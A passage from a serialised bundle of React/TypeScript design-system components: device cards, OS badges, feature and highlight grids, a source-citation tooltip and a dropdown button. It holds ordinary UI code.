<QuestionCircleIcon size={20} />\n              </span>\n            </FloatingTooltip>\n          )}\n        </div>\n      </div>\n\n      {/* Progress indicator */}\n      {renderProgress()}\n    </>\n  )\n\n  // Figma spec: mobile 8px padding / 8px gap / exactly 64px tall; tablet+ 16px\n  // padding / 16px gap / exactly 104px tall; 6px radius. Fixed height (not\n  // min-h) — with a 32px titleTag the natural content height slightly exceeds\n  // the spec, and Figma's frame is fixed; items-center absorbs the difference.\n  const baseClassName = 'bg-ods-card border border-ods-border rounded-md p-[var(--spacing-system-xsf)] md:p-[var(--spacing-system-m)] h-16 md:h-[104px] flex gap-[var(--spacing-system-s)] md:gap-[var(--spacing-system-m)] items-center transition-all'\n\n  if (href) {\n    return (\n      <Link\n        href={href}\n        className={cn(\n          baseClassName,\n          'cursor-pointer group',\n          'hover:border-ods-border-hover hover:bg-ods-card-hover',\n          className\n        )}\n      >\n        {cardContent}\n      </Link>\n    )\n  }\n\n  return (\n    <div\n      className={cn(\n        baseClassName,\n        className\n      )}\n    >\n      {cardContent}\n    </div>\n  )\n}","import type * as React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface InfoCardRowSection {\n  title: string\n  caption: string\n  icon?: React.ReactNode\n}\n\nexport interface InfoCardRowProps {\n  lead: InfoCardRowSection\n  stats: [InfoCardRowSection, InfoCardRowSection]\n  className?: string\n}\n\nconst CELL =\n  'flex items-center gap-[var(--spacing-system-s)] min-w-0 p-[var(--spacing-system-xsf)] md:p-[var(--spacing-system-m)] min-h-[60px] md:min-h-[76px]'\n\nfunction StatCell({ section, className }: { section: InfoCardRowSection; className?: string }) {\n  return (\n    <div className={cn(CELL, 'flex-1', className)}>\n      <div className=\"flex min-w-0 flex-1 flex-col\">\n        <p className=\"truncate text-h5 uppercase text-ods-text-secondary\">{section.title}</p>\n        <div className=\"flex min-w-0 items-center gap-[var(--spacing-system-s)]\">\n          <p className=\"min-w-0 flex-1 truncate text-h3 text-ods-text-primary\">\n            {section.caption}\n          </p>\n          {section.icon && (\n            <div className=\"flex size-6 shrink-0 items-center justify-center md:hidden\">\n              {section.icon}\n            </div>\n          )}\n        </div>\n      </div>\n      {section.icon && (\n        <div className=\"hidden size-6 shrink-0 items-center justify-center md:flex\">\n          {section.icon}\n        </div>\n      )}\n    </div>\n  )\n}\n\nexport function InfoCardRow({ lead, stats, className }: InfoCardRowProps) {\n  return (\n    <div\n      className={cn(\n        'flex shrink-0 flex-col overflow-hidden rounded-md border border-ods-border bg-ods-card md:flex-row',\n        className,\n      )}\n    >\n      <div className={cn(CELL, 'border-b border-ods-border md:flex-1 md:border-b-0 md:border-r')}>\n        {lead.icon && (\n          <div className=\"flex size-10 shrink-0 items-center justify-center overflow-hidden rounded-sm border border-ods-border [&>*]:size-full [&_img]:object-cover\">\n            {lead.icon}\n          </div>\n        )}\n        <div className=\"flex min-w-0 flex-1 flex-col justify-center\">\n          <p className=\"truncate text-h3 text-ods-text-primary\">{lead.title}</p>\n          <p className=\"truncate text-h6 text-ods-text-secondary\">{lead.caption}</p>\n        </div>\n      </div>\n\n      <div className=\"flex md:flex-1\">\n        <StatCell section={stats[0]} className=\"border-r border-ods-border\" />\n        <StatCell section={stats[1]} />\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport { MonitorIcon } from '../icons-v2-generated/devices/monitor-icon'\nimport { Ellipsis01Icon } from '../icons-v2-generated/interface'\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport type { OSPlatformId } from '../../utils/os-platforms'\nimport { OSTypeIcon } from '../features/os-type-badge'\nimport { Tag, type TagProps } from './tag'\n\nexport interface Device {\n  id?: string\n  machineId?: string\n  name: string\n  type?: 'desktop' | 'laptop' | 'mobile' | 'tablet' | 'server'\n  operatingSystem?: OSPlatformId | 'macos' | 'ios' | 'android'  // Support both OSPlatformId and legacy values\n  organization?: string\n  status?: 'active' | 'inactive' | 'offline' | 'warning' | 'error'\n  lastSeen?: string | Date\n  tags?: string[]\n  // Additional device properties\n  ipAddress?: string\n  macAddress?: string\n  version?: string\n  location?: string\n}\n\n// Action button configuration\nexport interface ActionButton {\n  label: string\n  onClick?: () => void\n  variant?: 'default' | 'outline' | 'secondary'\n  visible?: boolean\n}\n\nexport interface DeviceCardProps extends React.HTMLAttributes<HTMLDivElement> {\n  device: Device\n  actions?: {\n    moreButton?: {\n      visible?: boolean\n      onClick?: () => void\n    }\n    detailsButton?: {\n      visible?: boolean\n      component?: React.ReactNode\n    }\n    customActions?: ActionButton[]\n  }\n  statusTag?: TagProps\n  onDeviceClick?: (device: Device) => void\n}\n\nexport function DeviceCard({\n  device,\n  actions = {\n    moreButton: { visible: true }\n  },\n  statusTag,\n  onDeviceClick,\n  className,\n  ...props\n}: DeviceCardProps) {\n\n  // Format date for last seen\n  const formatLastSeen = (lastSeen?: string | Date) => {\n    if (!lastSeen) return null\n    \n    const date = typeof lastSeen === 'string' ? new Date(lastSeen) : lastSeen\n    // UTC getters so \"last seen\" is identical on server (UTC) and client\n    // (local) — otherwise React #418 hydration mismatch.\n    const year = date.getUTCFullYear()\n    const month = String(date.getUTCMonth() + 1).padStart(2, '0')\n    const day = String(date.getUTCDate()).padStart(2, '0')\n    const hours = String(date.getUTCHours()).padStart(2, '0')\n    const minutes = String(date.getUTCMinutes()).padStart(2, '0')\n\n    return `${year}/${month}/${day}, ${hours}:${minutes}`\n  }\n\n  return (\n    <div\n      onClick={onDeviceClick ? () => onDeviceClick(device) : undefined}\n      className={cn(\n        \"bg-ods-card rounded-[6px] border border-ods-border overflow-clip\",\n        \"flex flex-col gap-4 p-4\",\n        onDeviceClick && \"cursor-pointer\",\n        className\n      )}\n      {...props}\n    >\n      {/* Row 1: Device icon | OS icon + Name + Organization | More button | Details button | Custom actions */}\n      <div className=\"flex gap-4 items-center w-full\">\n        {/* Device type icon */}\n        <div className=\"flex items-center justify-center p-2 rounded-[6px] border border-ods-border shrink-0\">\n          <MonitorIcon className=\"text-ods-text-secondary\" size={16} />\n        </div>\n\n        {/* OS icon + Device name + Organization (stacked) */}\n        <div className=\"flex-1 min-w-0 flex flex-col justify-center\">\n          <div className=\"flex gap-1 items-center\">\n            {device.operatingSystem && (\n              <OSTypeIcon\n                osType={device.operatingSystem === 'macos' ? 'darwin' : device.operatingSystem}\n                size=\"w-4 h-4\"\n                className=\"shrink-0\"\n              />\n            )}\n            <span className=\"text-h4 text-ods-text-primary truncate\" title={device.name}>\n              {device.name}\n            </span>\n          </div>\n          {device.organization && (\n            <span className=\"text-h6 text-ods-text-secondary truncate\" title={device.organization}>\n              {device.organization}\n            </span>\n          )}\n        </div>\n\n        {/* More button */}\n        {actions.moreButton?.visible !== false && (\n          <div\n            className=\"flex items-center justify-center p-3 rounded-[6px] shrink-0 border border-ods-border cursor-pointer hover:bg-ods-bg-hover transition-colors\"\n            onClick={(e) => { e.stopPropagation(); actions.moreButton?.onClick?.() }}\n          >\n            <Ellipsis01Icon className=\"text-ods-text-primary\" />\n          </div>\n        )}\n\n        {/* Details button */}\n        {actions.detailsButton?.visible !== false && actions.detailsButton?.component && (\n          <div className=\"shrink-0\" onClick={(e) => e.stopPropagation()}>\n            {actions.detailsButton.component}\n          </div>\n        )}\n\n        {/* Custom action buttons */}\n        {actions.customActions?.map((action, index) =>\n          action.visible !== false && (\n            <div\n              key={index}\n              className=\"flex items-center justify-center px-4 py-3 rounded-[6px] shrink-0 border border-ods-border cursor-pointer hover:bg-ods-bg-hover transition-colors\"\n              onClick={(e) => { e.stopPropagation(); action.onClick?.() }}\n            >\n              <span className=\"text-h3 text-ods-text-primary text-nowrap\">\n                {action.label}\n              </span>\n            </div>\n          )\n        )}\n      </div>\n\n      {/* Row 2: Status badge | Last seen */}\n      {(statusTag || device.lastSeen) && \n        <div className=\"flex gap-2 items-center w-full\">\n          {statusTag && (\n            <Tag\n              variant={statusTag.variant}\n              icon={statusTag.icon}\n              onClose={statusTag.onClose}\n              className={statusTag.className}\n              label={statusTag.label}\n            />\n          )}\n          {device.lastSeen && (\n            <span className=\"flex-1 text-h6 text-ods-text-secondary truncate\">\n              Last Seen: {formatLastSeen(device.lastSeen)}\n            </span>\n          )}\n        </div>\n      }\n\n      {/* Tags section */}\n      {device.tags && device.tags.length > 0 && (\n        <div className=\"flex gap-2 items-center w-full flex-wrap\">\n          {device.tags.map((tag, index) => (\n            <Tag key={index} variant=\"outline\" label={tag} />\n          ))}\n        </div>\n      )}\n    </div>\n  )\n}","\"use client\"\n\n/**\n * OSTypeBadge Component\n *\n * Displays operating system type with icon and label.\n * Automatically normalizes OS type strings from various sources.\n */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { getOSIcon, getOSLabel, normalizeOSType } from '../../utils/os-utils'\n\nexport interface OSTypeBadgeProps {\n  /** OS type string (case-insensitive, handles aliases) */\n  osType?: string\n  /** Additional CSS classes */\n  className?: string\n  /** Show only icon (no label) */\n  iconOnly?: boolean\n  /** Icon size class (default: w-4 h-4) */\n  iconSize?: string\n  /** Show label only (no icon) */\n  labelOnly?: boolean\n  /** Icon color */\n  iconColor?: string\n  /** Right icon */\n  rightIcon?: React.ReactNode\n}\n\n/**\n * OSTypeBadge - Displays OS type with icon and label\n *\n * @example\n * ```tsx\n * <OSTypeBadge osType=\"windows\" />\n * <OSTypeBadge osType=\"Darwin\" />\n * <OSTypeBadge osType=\"Ubuntu\" iconOnly />\n * ```\n */\nexport const OSTypeBadge: React.FC<OSTypeBadgeProps> = ({\n  osType,\n  className = '',\n  iconOnly = false,\n  iconSize = 'w-4 h-4',\n  iconColor = 'var(--color-text-secondary)',\n  labelOnly = false,\n  rightIcon = null\n}) => {\n  if (!osType) {\n    return labelOnly ? (\n      <span className={cn('text-ods-text-secondary', className)}>Unknown</span>\n    ) : null\n  }\n\n  const normalized = normalizeOSType(osType)\n  if (!normalized && !labelOnly) return null\n\n  const label = getOSLabel(osType)\n  const IconComponent = getOSIcon(osType)\n\n  if (iconOnly && IconComponent) {\n    return (\n      <IconComponent className={cn(iconSize, 'text-ods-text-secondary', className)} />\n    )\n  }\n\n  if (labelOnly) {\n    return (\n      <span className={cn('text-ods-text-primary', className)}>\n        {label}\n      </span>\n    )\n  }\n\n  return (\n    <div className={cn(\"flex items-center gap-1 text-ods-text-primary text-h4\", className)}>\n      {IconComponent && <IconComponent className={iconSize} color={iconColor} />}\n      {label}\n      {rightIcon && rightIcon}\n    </div>\n  )\n}\n\nOSTypeBadge.displayName = 'OSTypeBadge'\n\n/**\n * OSTypeIcon - Displays only the OS icon\n *\n * @example\n * ```tsx\n * <OSTypeIcon osType=\"windows\" />\n * <OSTypeIcon osType=\"Darwin\" size=\"w-5 h-5\" />\n * ```\n */\nexport const OSTypeIcon: React.FC<{\n  osType?: string\n  size?: string\n  className?: string\n}> = ({\n  osType,\n  size = 'w-4 h-4',\n  className = ''\n}) => {\n  return (\n    <OSTypeBadge\n      osType={osType}\n      iconOnly\n      iconSize={size}\n      className={className}\n    />\n  )\n}\n\nOSTypeIcon.displayName = 'OSTypeIcon'\n\n/**\n * OSTypeLabel - Displays only the OS label\n *\n * @example\n * ```tsx\n * <OSTypeLabel osType=\"windows\" />\n * <OSTypeLabel osType=\"Darwin\" />\n * ```\n */\nexport const OSTypeLabel: React.FC<{\n  osType?: string\n  className?: string\n}> = ({\n  osType,\n  className = ''\n}) => {\n  return (\n    <OSTypeBadge\n      osType={osType}\n      labelOnly\n      className={className}\n    />\n  )\n}\n\nOSTypeLabel.displayName = 'OSTypeLabel'\n","import React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface DeviceCardCompactProps extends React.HTMLAttributes<HTMLDivElement> {\n  deviceName?: string | null\n  organization?: string | null\n}\n\n/**\n * Compact device card variant for table cells\n * Shows only device name and organization in a stacked layout\n * Returns empty fragment if both values are missing\n */\nexport function DeviceCardCompact({\n  deviceName,\n  organization,\n  className,\n  ...props\n}: DeviceCardCompactProps) {\n  // Check for valid values (not null, undefined, '-', or string 'null')\n  const hasName = deviceName && deviceName !== '-' && deviceName !== 'null'\n  const hasOrg = organization && organization !== '-' && organization !== 'null'\n\n  // If both are missing, return empty fragment\n  if (!hasName && !hasOrg) {\n    return <></>\n  }\n\n  return (\n    <div\n      className={cn(\n        \"flex flex-col justify-center gap-1 py-2 min-h-[60px]\",\n        className\n      )}\n      {...props}\n    >\n      {hasName && (\n        <span className=\"text-h6 text-ods-text-primary truncate\" title={deviceName}>\n          {deviceName}\n        </span>\n      )}\n      {hasOrg && (\n        <span className=\"text-h6 text-ods-text-secondary truncate\" title={organization}>\n          {organization}\n        </span>\n      )}\n    </div>\n  )\n}\n","'use client';\n\nimport React from 'react';\nimport { Card } from './card';\nimport { StatusBadge } from './status-badge';\n\nexport interface FeatureCardItem {\n  icon?: React.ComponentType<{ size?: number; color?: string; className?: string }>;\n  iconColor?: string;\n  title: string;\n  badge?: {\n    text: string;\n    variant?: 'card' | 'button';\n    colorScheme?: 'cyan' | 'pink' | 'yellow' | 'green' | 'purple' | 'default';\n  };\n  content: React.ReactNode; // Allow any content to be injected\n  // Card-level customization props\n  removeAllBorders?: boolean;  // Remove all borders for this card\n  noBackground?: boolean;      // Remove default background\n  customBackground?: string;   // Custom background color/class\n}\n\nexport interface FeatureCardGridProps {\n  items: FeatureCardItem[];\n  columns?: 2 | 3;\n  className?: string;\n  cardClassName?: string;\n  itemClassName?: string;\n  showBorders?: boolean;\n  roundedCorners?: boolean;  // Flag to enable rounded corners\n  cardGap?: string;          // Gap between cards (e.g., 'gap-4', 'gap-6')\n}\n\nexport function FeatureCardGrid({\n  items,\n  columns = 3,\n  className = '',\n  cardClassName = 'bg-ods-card border border-ods-border rounded-lg p-0 overflow-hidden',\n  itemClassName = 'bg-ods-bg p-10',\n  showBorders = true,\n  roundedCorners = false,\n  cardGap = ''\n}: FeatureCardGridProps) {\n  const gridCols = columns === 2 ? 'grid-cols-1 md:grid-cols-2' : 'grid-cols-1 md:grid-cols-3';\n  const itemsPerRow = columns;\n  const rows = Math.ceil(items.length / itemsPerRow);\n\n  const getBorderClasses = (isLastRow: boolean, isLastInRow: boolean, globalIndex: number) => {\n    if (!showBorders) return '';\n    \n    let classes = '';\n    \n    // Right border - responsive logic\n    if (!isLastInRow) {\n      // On mobile (1 column), never show right border\n      // On desktop (2/3 columns), show right border except for last in row\n      classes += ' md:border-r border-ods-border';\n    }\n    \n    // Bottom border logic\n    const isLastItem = globalIndex === items.length - 1;\n    \n    // Mobile: bottom border for all except last item\n    if (!isLastItem) {\n      classes += ' border-b border-ods-border';\n    }\n    \n    // Desktop: override mobile border, show bottom border for all rows except last\n    if (!isLastRow) {\n      classes += ' md:border-b border-ods-border';\n    } else {\n      // Last row on desktop - remove bottom border\n      classes += ' md:border-b-0';\n    }\n    \n    return classes;\n  };\n\n  // Check if all cards have noBackground to modify card container\n  const allCardsHaveNoBackground = items.every(item => item.noBackground);\n  const allCardsHaveNoBorders = items.every(item => item.removeAllBorders);\n\n  let finalCardClassName = cardClassName;\n  if (allCardsHaveNoBackground) {\n    finalCardClassName = finalCardClassName.replace('bg-ods-card', 'bg-transparent');\n  }\n  if (allCardsHaveNoBorders) {\n    finalCardClassName = 'bg-transparent p-0 overflow-visible border-0 shadow-none rounded-none';\n  }\n\n  return (\n    <Card className={`${finalCardClassName} ${className}`}>\n      {Array.from({ length: rows }, (_, rowIndex) => {\n        const startIndex = rowIndex * itemsPerRow;\n        const rowItems = items.slice(startIndex, startIndex + itemsPerRow);\n        const isLastRow = rowIndex === rows - 1;\n\n        return (\n          <div key={rowIndex} className={`grid ${gridCols} ${cardGap}`}>\n            {rowItems.map((item, itemIndex) => {\n              const globalIndex = startIndex + itemIndex;\n              const isLastInRow = itemIndex === rowItems.length - 1;\n              const borderClasses = getBorderClasses(isLastRow, isLastInRow, globalIndex);\n\n              // Apply card-level customizations\n              let finalItemClassName = itemClassName;\n              let finalBorderClasses = borderClasses;\n\n              // Handle background customization\n              if (item.noBackground) {\n                finalItemClassName = finalItemClassName.replace('bg-ods-bg', 'bg-transparent');\n              } else if (item.customBackground) {\n                finalItemClassName = finalItemClassName.replace('bg-ods-bg', item.customBackground);\n              }\n\n              // Handle border removal\n              if (item.removeAllBorders) {\n                finalBorderClasses = '';\n              }\n\n              // Handle rounded corners\n              if (roundedCorners) {\n                finalItemClassName += ' rounded-lg';\n              }\n\n              return (\n                <div\n                  key={globalIndex}\n                  className={`${finalItemClassName}${finalBorderClasses} relative`}\n                  style={item.customBackground ? { backgroundColor: item.customBackground } : undefined}\n                >\n                  <div className={!item.icon && !item.title ? \"flex flex-col h-full\" : \"space-y-6\"}>\n                    {item.icon && (\n                      <div className=\"flex items-start justify-between\">\n                        <item.icon size={80} color={item.iconColor} />\n                        {item.badge && (\n                          <StatusBadge\n                            text={item.badge.text}\n                            variant={item.badge.variant || 'card'}\n                            colorScheme={item.badge.colorScheme || 'default'}\n                          />\n                        )}\n                      </div>\n                    )}\n\n                    {!item.icon && item.badge && (\n                      <div className=\"flex items-start justify-end\">\n                        <StatusBadge\n                          text={item.badge.text}\n                          variant={item.badge.variant || 'card'}\n                          colorScheme={item.badge.colorScheme || 'default'}\n                        />\n                      </div>\n                    )}\n\n                    <h3 className=\"text-h2 tracking-[-0.64px] text-ods-text-primary whitespace-pre-line\">\n                      {item.title}\n                    </h3>\n\n                    {item.content}\n                  </div>\n                </div>\n              );\n            })}\n          </div>\n        );\n      })}\n    </Card>\n  );\n}","'use client';\n\nimport React from 'react';\n\nexport interface FeatureListItemData {\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n}\n\nexport interface FeatureListProps {\n  items: FeatureListItemData[];\n  className?: string;\n  iconBoxSize?: number;\n}\n\nexport function FeatureList({\n  items,\n  className = '',\n  iconBoxSize = 72,\n}: FeatureListProps) {\n  return (\n    <div\n      className={`bg-ods-bg border border-ods-border rounded-[6px] flex flex-col overflow-hidden ${className}`}\n    >\n      {items.map((item, index) => (\n        <div\n          key={index}\n          className={`bg-ods-card flex gap-4 items-start p-4 w-full ${\n            index < items.length - 1 ? 'border-b border-ods-border' : ''\n          }`}\n        >\n          <div\n            className=\"bg-ods-bg border border-ods-border flex items-center justify-center rounded-[6px] shrink-0\"\n            style={{ width: iconBoxSize, height: iconBoxSize }}\n          >\n            {item.icon}\n          </div>\n          <div className=\"flex flex-col gap-1 flex-1 min-w-0\">\n            <p className=\"text-h3 text-ods-text-primary\">{item.title}</p>\n            <p className=\"text-h6 text-ods-text-secondary normal-case tracking-normal\">\n              {item.description}\n            </p>\n          </div>\n        </div>\n      ))}\n    </div>\n  );\n}\n","\"use client\"\n\nimport { ExternalLink, Info } from 'lucide-react'\nimport { Button } from './button'\nimport { FloatingTooltip } from './floating-tooltip'\n\n/**\n * Source-reference tooltip — a (i) info icon whose tooltip lists every source\n * behind a cited figure as a Button link row (value · short label,\n * external-link glyph) with an optional \"where it lives in the research\" line\n * under it. Rows are clickable because the FloatingTooltip's safePolygon\n * keeps it open while the pointer travels into the content; the (i) itself\n * opens the first source so the click-the-icon habit still works.\n *\n * The trigger renders inline (`as=\"span\"`) — a source (i) always sits inside\n * a line of text (a statement's last line, a money tail, a value line).\n * Hosts style the icon via `iconClassName`; the tooltip CONTENT is\n * self-contained ODS styling (it portals to <body>, outside any host-scoped\n * CSS variables).\n */\n\nexport interface SourceRef {\n  /** The figure this source backs, e.g. \"$121.2B\" — leads the button label. */\n  value: string\n  /** Short source name after the value (buttons are nowrap — keep it tight). */\n  label: string\n  /** Exactly where the number lives in the research (report · table/figure ·\n   *  column) — \"click the link and can't find the number\" is a credibility\n   *  bug. Rendered as a fine-print line under the button. */\n  where?: string\n  href: string\n}\n\nexport interface SourceTooltipProps {\n  /** One-line setup above the source rows (e.g. how the figures add up). */\n  intro?: React.ReactNode\n  sources: SourceRef[]\n  /** Fine print under the rows (e.g. what the cited segment covers). */\n  note?: React.ReactNode\n  /** Classes for the trigger's <Info> icon (size/color live with the host). */\n  iconClassName?: string\n  /** Extra attributes for the trigger anchor — e.g. a host's click-intercept\n   *  opt-out vocabulary like the deck's `data-no-nav`. */\n  triggerAnchorProps?: React.AnchorHTMLAttributes<HTMLAnchorElement> & { [k: `data-${string}`]: string | boolean | undefined }\n}\n\nexport function SourceTooltip({ intro, sources, note, iconClassName, triggerAnchorProps }: SourceTooltipProps) {\n  return (\n    <FloatingTooltip as=\"span\" side=\"top\" delayDuration={0} className=\"max-w-sm\" content={\n      <span className=\"flex flex-col gap-2 py-0.5\">\n        {intro && <span className=\"font-semibold text-ods-text-primary\">{intro}</span>}\n        {sources.map((s) => (\n          <span key={s.href} className=\"flex flex-col gap-1\">\n            <Button\n              variant=\"outline\"\n              size=\"compact\"\n              fullWidth\n              linkProps={{ href: s.href, target: '_blank', rel: 'noopener noreferrer' }}\n              rightIcon={<ExternalLink />}\n            >\n              {s.value} · {s.label}\n            </Button>\n            {s.where && <span className=\"text-ods-text-secondary\">{s.where}</span>}\n          </span>\n        ))}\n        {note && <span className=\"text-ods-text-secondary\">{note}</span>}\n      </span>\n    }>\n      <a href={sources[0].href} target=\"_blank\" rel=\"noreferrer\" aria-label=\"Source research\" {...triggerAnchorProps}><Info className={iconClassName} /></a>\n    </FloatingTooltip>\n  )\n}\n","'use client';\n\nimport React from 'react';\n\nexport interface HighlightCardItem {\n  category: string;\n  categoryColor: string;\n  highlightBg: string;\n  description: string;\n}\n\nexport interface HighlightCardProps {\n  item: HighlightCardItem;\n  className?: string;\n}\n\nexport function HighlightCard({\n  item,\n  className = ''\n}: HighlightCardProps) {\n  // Calculate width for mobile and desktop\n  const mobileWidth = item.category.length * 12;\n  const desktopWidth = item.category.length * 14;\n  \n  return (\n    <div className={`bg-ods-bg p-6 md:p-10 relative ${className}`}>\n      <div className=\"relative\">\n        {/* Mobile highlight */}\n        <div\n          className=\"absolute rounded-md h-8 left-[80px] top-0 md:hidden\"\n          style={{\n            backgroundColor: item.highlightBg,\n            width: `${mobileWidth}px`\n          }}\n        />\n        {/* Desktop highlight */}\n        <div\n          className=\"absolute rounded-md h-10 left-[95px] top-0 hidden md:block\"\n          style={{\n            backgroundColor: item.highlightBg,\n            width: `${desktopWidth}px`\n          }}\n        />\n        <h3 className=\"text-h2 text-ods-text-primary relative z-10\">\n          Your{' '}\n          <span style={{ color: item.categoryColor }}>\n            {item.category}\n          </span>\n          {' '}{item.description}\n        </h3>\n      </div>\n    </div>\n  );\n}\n\nexport interface HighlightCardGridProps {\n  items: HighlightCardItem[];\n  columns?: 2 | 3;\n  className?: string;\n  cardClassName?: string;\n}\n\nexport function HighlightCardGrid({\n  items,\n  columns = 2,\n  className = '',\n  cardClassName = 'bg-ods-card border border-ods-border rounded-lg p-0 overflow-hidden'\n}: HighlightCardGridProps) {\n  const gridCols = columns === 2 ? 'grid-cols-1 md:grid-cols-2' : 'grid-cols-1 md:grid-cols-3';\n  const itemsPerRow = columns;\n  const rows = Math.ceil(items.length / itemsPerRow);\n\n  const getBorderClasses = (isLastRow: boolean, isLastInRow: boolean, globalIndex: number) => {\n    let classes = '';\n    \n    // Right border - responsive logic\n    if (!isLastInRow) {\n      // On mobile (1 column), never show right border\n      // On desktop (2/3 columns), show right border except for last in row\n      classes += ' md:border-r border-ods-border';\n    }\n    \n    // Bottom border logic\n    const isLastItem = globalIndex === items.length - 1;\n    \n    // Mobile: bottom border for all except last item\n    if (!isLastItem) {\n      classes += ' border-b border-ods-border';\n    }\n    \n    // Desktop: override mobile border, show bottom border for all rows except last\n    if (!isLastRow) {\n      classes += ' md:border-b border-ods-border';\n    } else {\n      // Last row on desktop - remove bottom border\n      classes += ' md:border-b-0';\n    }\n    \n    return classes;\n  };\n\n  return (\n    <div className={`${cardClassName} ${className}`}>\n      {Array.from({ length: rows }, (_, rowIndex) => {\n        const startIndex = rowIndex * itemsPerRow;\n        const rowItems = items.slice(startIndex, startIndex + itemsPerRow);\n        const isLastRow = rowIndex === rows - 1;\n\n        return (\n          <div key={rowIndex} className={`grid ${gridCols}`}>\n            {rowItems.map((item, itemIndex) => {\n              const globalIndex = startIndex + itemIndex;\n              const isLastInRow = itemIndex === rowItems.length - 1;\n              const borderClasses = getBorderClasses(isLastRow, isLastInRow, globalIndex);\n\n              return (\n                <HighlightCard\n                  key={globalIndex}\n                  item={item}\n                  className={borderClasses}\n                />\n              );\n            })}\n          </div>\n        );\n      })}\n    </div>\n  );\n}","\"use client\"\n\nimport * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\n\ninterface IconsBlockProps extends React.HTMLAttributes<HTMLDivElement> {\n  icons?: string[];\n  size?: 'sm' | 'md' | 'lg';\n}\n\nconst IconsBlock = React.forwardRef<HTMLDivElement, IconsBlockProps>(\n  ({ className, icons = [], size = 'md', ...props }, ref) => {\n    const sizeClasses = {\n      sm: 'h-4 w-4',\n      md: 'h-6 w-6',\n      lg: 'h-8 w-8'\n    };\n\n    return (\n      <div\n        className={cn(\n          \"flex items-center gap-2\",\n          className\n        )}\n        ref={ref}\n        {...props}\n      >\n        {icons.map((icon, index) => (\n          <div\n            key={index}\n            className={cn(\n              \"rounded-md bg-secondary p-1\",\n              sizeClasses[size]\n            )}\n          >\n            {/* Icon placeholder */}\n            <div className=\"h-full w-full bg-primary/20 rounded-sm\" />\n          </div>\n        ))}\n      </div>\n    )\n  }\n)\nIconsBlock.displayName = \"IconsBlock\"\n\nexport { IconsBlock }","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Chevron02DownIcon } from '../icons-v2-generated'\nimport { Button, type ButtonProps } from './button'\nimport {\n  ActionsMenuDropdown,\n  type ActionsMenuGroup,\n  type ActionsMenuItem\n} from './actions-menu'\n\nexport interface DropdownButtonProps {\n  /** Button label rendered next to the chevron. */\n  label: React.ReactNode\n  /** Optional leading icon rendered before the label. */\n  icon?: React.ReactNode\n  /**\n   * Items shown in the dropdown (single flat group). For grouped menus with\n   * separators pass `groups` instead — exactly one of the two is required.\n   */\n  items?: ActionsMenuItem[]\n  /** Grouped items (with optional separators). Takes precedence over `items`. */\n  groups?: ActionsMenuGroup[]\n  /**\n   * Render the trigger as a standard `Button` of this variant (`outline`,\n   * `accent`, …) instead of the default card-colored seam trigger. Use this\n   * when the dropdown sits in a row of ordinary buttons and must match them.\n   */\n  variant?: ButtonProps['variant']\n  /** Button size for the `variant` trigger. Ignored without `variant`. */\n  size?: ButtonProps['size']\n  /** Spinner state for the trigger (either look). */\n  loading?: boolean\n  disabled?: boolean\n  className?: string\n  ariaLabel?: string\n  align?: 'start' | 'center' | 'end'\n  side?: 'top' | 'right' | 'bottom' | 'left'\n  /**\n   * Forwarded to the dropdown content. The standard Radix dropdown→dialog\n   * recipe: pass `(e) => e.preventDefault()` when a menu item opens a modal,\n   * otherwise closing the menu refocuses its trigger AFTER the dialog has\n   * taken focus, yanking focus back OUT of the modal the action just opened.\n   */\n  onCloseAutoFocus?: (event: Event) => void\n}\n\n/**\n * THE multi-action button — a labeled trigger with a chevron opening an\n * `ActionsMenu`. One component, so the trigger styling, chevron, and menu\n * chrome cannot drift between surfaces.\n *\n * Two trigger looks — BOTH render through the unified `Button`:\n * - default (no `variant`): the card-colored seam trigger — `Button\n *   variant=\"outline\"` with the chevron in its `splitIcon` slot, so the label\n *   and chevron are separated by a divider, the whole surface is one click\n *   target, and the chevron rotates while open. Used standalone or via\n *   `PageActions` when a `PageActionButton` has `dropdownItems` set.\n * - `variant=\"outline\"` (or any Button variant): a standard `Button` with the\n *   chevron as its right icon, so the trigger matches sibling buttons in the\n *   same row — including `loading` and `leftIcon` support.\n *\n * Item clicks close the menu (ActionsMenuDropdown's default; opt out per item\n * with `closeOnSelect: false`).\n */\nexport function DropdownButton({\n  label,\n  icon,\n  items,\n  groups,\n  variant,\n  size = 'small-legacy',\n  loading = false,\n  disabled,\n  className,\n  ariaLabel,\n  align = 'end',\n  side = 'bottom',\n  onCloseAutoFocus\n}: DropdownButtonProps) {\n  const [open, setOpen] = React.useState(false)\n\n  // If the trigger becomes disabled/loading WHILE the menu is open, close it —\n  // and only ever block OPEN transitions below, so Escape/outside-click can\n  // still dismiss an already-open menu.\n  React.useEffect(() => {\n    if (disabled || loading) setOpen(false)\n  }, [disabled, loading])\n\n  const handleOpenChange = React.useCallback(\n    (next: boolean) => {\n      if (next && (disabled || loading)) return\n      setOpen(next)\n    },\n    [disabled, loading]\n  )\n\n  const resolvedAriaLabel =\n    ariaLabel || (typeof label === 'string' ? label : undefined)\n\n  const trigger = variant ? (\n    <Button\n      variant={variant}\n      size={size}\n      disabled={disabled}\n      loading={loading}\n      aria-label={resolvedAriaLabel}\n      leftIcon={icon}\n      rightIcon={\n        <Chevron02DownIcon\n          className={cn('h-4 w-4 transition-transform duration-fast', open && 'rotate-180')}\n        />\n      }\n      className={className}\n    >\n      {label}\n    </Button>\n  ) : (\n    // The unified `Button`'s split layout IS the seam anatomy (label, full-height\n    // divider, trailing glyph, one click target) — no bespoke <button> here, so\n    // the trigger can't drift from the house button chrome.\n    <Button\n      type=\"button\"\n      variant=\"outline\"\n      disabled={disabled}\n      loading={loading}\n      aria-label={resolvedAriaLabel}\n      leftIcon={icon}\n      splitIcon={\n        <Chevron02DownIcon\n          className={cn('transition-transform duration-fast', open && 'rotate-180')}\n        />\n      }\n      className={cn(open && 'bg-ods-bg-hover', className)}\n    >\n      {label}\n    </Button>\n  )\n\n  return (\n    <ActionsMenuDropdown\n      groups={groups ?? [{ items: items ?? [] }]}\n      open={open}\n      onOpenChange={handleOpenChange}\n      align={align}\n      side={side}\n      onCloseAutoFocus={onCloseAutoFocus}\n      triggerAriaLabel={resolvedAriaLabel}\n      customTrigger={trigger}\n    />\n  )\n}\n","'use client'\n\nimport React from 